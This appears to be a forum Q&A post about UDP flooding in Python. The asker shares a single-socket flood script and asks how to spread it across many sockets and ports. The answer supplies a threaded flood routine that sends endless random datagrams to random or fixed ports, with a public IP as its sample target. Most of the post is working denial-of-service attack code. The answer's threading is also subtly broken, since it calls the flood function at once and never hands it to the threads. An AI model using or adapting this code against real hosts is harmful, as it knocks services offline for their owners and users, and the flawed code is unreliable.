pythonsocketsudpddos

I want to create multiple UDP sockets


import socket
import time


ADDRESS = ("192.168.0.100",4119)

DATA = bytes.fromhex("AA AA AA AA")

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
s.connect(ADDRESS)

for i in range(0,99999999):
    s.send(DATA)

s.close()

The code above is a simple UDP Flooding Python code. When the attack starts, only one socket is created, so only one port is created. I want to modify my code to create multiple sockets and send packets through various ports. Where do I need to fix it?

(Don't use this code for bad purposes.)


Solution

  • import random
    import socket
    import threading
    
    
    def flood(ip, port, size):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        if port == 0:
            while 1:
                s.sendto(random.randbytes(100), (ip, random.randint(1, 65535)))
        else:
            while 1:
                s.sendto(random.randbytes(size), (ip, port))
    
    
    # 10 Threads
    def main():
        Threads = [threading.Thread(target=flood("1.1.1.1", 80, 100)) for x in range(10)]
        for thread in Threads:
            thread.start()
        for thread in Threads:
            thread.join()
    
    
    if __name__ == "__main__":
        main()